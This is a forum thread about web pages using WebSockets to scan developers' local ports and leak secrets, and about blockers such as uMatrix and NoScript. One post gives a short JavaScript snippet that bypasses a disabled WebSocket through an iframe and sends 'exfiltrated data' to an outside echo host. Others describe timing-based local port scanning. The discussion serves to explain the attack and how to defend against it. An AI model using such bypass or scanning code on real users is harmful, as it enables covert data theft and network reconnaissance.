Stealing secrets from developers using WebSockets

Post by austincheney » Fri, May 22, 2020, 3:23 AM UTC

odensc wrote: post #119

VWWHFSfQ wrote: post #110

Earlier quoted context omitted.

this is trivially defeated by a script that enumerates globals looking for something that extends or implements WebSocket

The `sock` variable wouldn't be global in this case though, so there's nothing to look for. However there are still so many different ways to defeat this (e.g. creating a web worker, creating a new window that handles the WebSocket and posting messages to it, etc.) that it's basically pointless to try.

Post by [deleted] » Fri, May 22, 2020, 3:51 AM UTC

enkrs wrote: post #78

Given the news this has made, I sure hope browser vendors don't overreact with blocking this too hard: I genuinely have a use-case for this. We have an internal company wide business app, that works in any browser. The usual create-read-update-delete stuff, reports, factory forms etc. With websockets we solve communication with local devices on the shopfloor - some computers have serial-port attached thermal printers…

Post by danShumway » Fri, May 22, 2020, 4:08 AM UTC

jfkebwjsbx wrote: post #101

danShumway wrote: post #56

Heads up to anyone who doesn't already know, uMatrix[0] can be set up to block websockets by default from 3rd-party and/or first-party domains. In the UI, websockets are grouped under the "xhr" column[1]. I'm a pretty big Javascript advocate, but I do recommend advanced users run uMatrix and consider disabling at least 3rd-party JS by default. uMatrix is a fantastic tool and it really doesn't take long to get used to…

> the web makes it relatively easy to take simple security measures like disabling scripts by default The average user will never learn to configure and use software like uMatrix.

Post by odensc » Fri, May 22, 2020, 4:32 AM UTC

austincheney wrote: post #121

odensc wrote: post #119

Earlier quoted context omitted.

The `sock` variable wouldn't be global in this case though, so there's nothing to look for. However there are still so many different ways to defeat this (e.g. creating a web worker, creating a new window that handles the WebSocket and posting messages to it, etc.) that it's basically pointless to try.

If you are opening a new window you are pretty limited. Clearly you are alerting the user that you are spawning new tabs or forcing a new popup if you provide a width or height dimension to your window.open method. Yes, I am aware of the popunder by blurring the new window the moment its created, but that is still not very clever. Even still modern browsers block popups by default, so you have to convince the user to…

    WebSocket = null
    
    let el = document.createElement("iframe")
    document.body.append(el);
    
    let ws = new el.contentWindow.WebSocket("wss://echo.websocket.org")
    ws.onopen = () => ws.send("my exfiltrated data")

Post by user234683 » Fri, May 22, 2020, 6:03 AM UTC

cygx wrote: post #45

armchairchair wrote: post #39

Earlier quoted context omitted.

POC https://jsfiddle.net/s9vzxctd/3/ Tested in Firefox ESR on Linux. Anything with about 3000ms time isn't a routable network address. Anything with a significantly longer or shorter time responds to a ping on my network. Timings vary from browser to browser. NoScript does block the requests before they ever leave your browser, reminding me why I use it.

NoScript isn't sufficient to protect you from this. Eg write a simple HTML file like ok If it takes different amounts of time for the page to stop loading and the text to appear depending on the port you checked, you're vulnerable to scans, even when Javascript is disabled.